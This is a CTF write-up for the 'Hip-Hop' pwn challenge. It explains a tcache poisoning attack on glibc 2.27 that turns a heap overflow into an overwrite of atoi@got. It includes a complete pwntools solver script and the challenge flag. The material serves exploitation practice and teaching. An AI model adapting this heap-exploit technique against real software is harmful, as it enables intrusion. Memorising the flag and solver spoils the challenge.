MOJO-JOJO CTF / Pwn WRITEUP
HIP-HOP
MOJO-JOJO CTF binary-exploitation writeup.
Walkthrough
The Hip-Hop Studio Manager challenge is a modern heap exploitation task targeting glibc 2.27 (Ubuntu 18.04). The goal is to leverage a heap overflow to perform a Tcache Poisoning attack and gain arbitrary write, ultimately overwriting a Global Offset Table (GOT) entry to redirect execution to a "debug" function that prints the flag.
Challenge Overview
- Vulnerability: Heap overflow in the
edit_lyricsfunction. - Constraint: The binary uses Partial RELRO, which leaves the
.got.pltsection writable. - Protection: PIE, NX, and Stack Canaries are enabled.
- Target: Overwrite
atoi@gotwith the address of themic_checkfunction.
Exploit Strategy: Tcache Poisoning
1. Leak and Reconnaissance
The binary conveniently prints the address of the tracks array in the BSS at startup. This allows us to calculate the binary base address and find the exact location of atoi@got and mic_check.
2. Heap Setup
We allocate two chunks of the same size (0x110 including headers). We then free the second chunk (idx1) to the tcache.
add() # idx 0
add() # idx 1
delete(1) # Free to tcache
3. Tcache Poisoning
Using the overflow in idx0, we overwrite the next pointer of the freed idx1 chunk with the address of atoi@got.
payload = b'A' * 0x100 + p64(0) + p64(0x111) + p64(atoi_got)
edit(0, payload)
4. Arbitrary Write
After poisoning the tcache, the next allocation of the same size will return the original heap chunk, but the allocation after that will return a pointer to atoi@got.
add() # Returns original idx 1
add() # Returns atoi@got!
5. GOT Overwrite and Trigger
We use the newly acquired pointer to atoi@got to write the address of the mic_check function. Finally, sending a menu choice (like '1') triggers a call to atoi, which is now redirected to mic_check.
Solver Usage
The included solve.py uses the provided dynamic loader (ld-linux-x86-64.so.2) to ensure compatibility across different host systems:
process(['./dist/ld-linux-x86-64.so.2', '--library-path', './dist', './dist/hiphop'])
POC Result
The exploit successfully triggers the mic_check function and retrieves the flag:
[+] Master Access Token Accepted!
Retrieving secret flag...
MOJO-JOJO{h3ap_p0is0n1ng_i5_v3ry_3asy_0n_2_27}
Reference solver
The reference solver supplied with the writeup:
#!/usr/bin/env python3
from pwn import *
import re
# Context setup
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
# Use the loader to run the binary with the custom glibc
binary_path = './dist/hiphop'
loader_path = './dist/ld-linux-x86-64.so.2'
libc_dir = './dist'
binary = ELF(binary_path, checksec=False)
def strip_ansi(data):
return re.sub(rb'\x1b\[[0-9;]*m', b'', data).decode('ascii')
def start():
if args.REMOTE:
return remote('localhost', 9008)
else:
# Launch binary using the loader for maximum reliability
return process([loader_path, '--library-path', libc_dir, binary_path])
io = start()
def add():
io.sendlineafter(b' >> ', b'1')
return
def delete(idx):
io.sendlineafter(b' >> ', b'2')
io.sendlineafter(b'Idx: ', str(idx).encode())
def edit(idx, content):
io.sendlineafter(b' >> ', b'3')
io.sendlineafter(b'Idx: ', str(idx).encode())
# Overflow exactly into next chunk metadata
payload = content.ljust(0x100 + 0x20, b'\x00')
io.sendafter(b'Lyrics: ', payload)
# 1. Leak and calculate offsets
io.recvuntil(b'[*] Console ready at \x1b[96m0x')
tracks_addr = int(io.recvuntil(b'\x1b', drop=True), 16)
log.success(f"Tracks at: {hex(tracks_addr)}")
# Symbol tracks @ 0x2030c0
binary.address = tracks_addr - 0x2030c0
log.info(f"Binary base: {hex(binary.address)}")
# 2. Tcache Poisoning
add() # 0
add() # 1
log.info("Freeing idx1 to tcache...")
delete(1)
# Overwrite idx1's next pointer with atoi@got
atoi_got = binary.got['atoi']
mic_check = binary.symbols['mic_check']
log.success(f"Targeting atoi@got: {hex(atoi_got)}")
log.success(f"mic_check: {hex(mic_check)}")
# idx0 -> data area (0x100 bytes)
payload = b'A' * 0x100
payload += p64(0)
payload += p64(0x111)
payload += p64(atoi_got)
log.info("Poisoning Tcache...")
edit(0, payload)
# 3. Allocations to reach GOT
add() # 1
add() # 2
log.success("Allocation 2 is at atoi@got!")
# 4. Overwrite atoi@got
log.info("Overwriting atoi@got...")
edit(2, p64(mic_check))
log.success("Triggering Shell (calling atoi)...")
io.sendline(b'1')
# Capture flag
flag_data = io.recvall(timeout=2)
flag = re.search(r'MOJO-JOJO\{.*?\}', flag_data.decode())
if flag:
log.success(f"Flag captured: {flag.group(0)}")
else:
log.info("Raw output:\n" + flag_data.decode())
log.error("Flag not found!")
io.close()Flag
MOJO-JOJO{h3ap_p0is0n1ng_i5_v3ry_3asy_0n_2_27}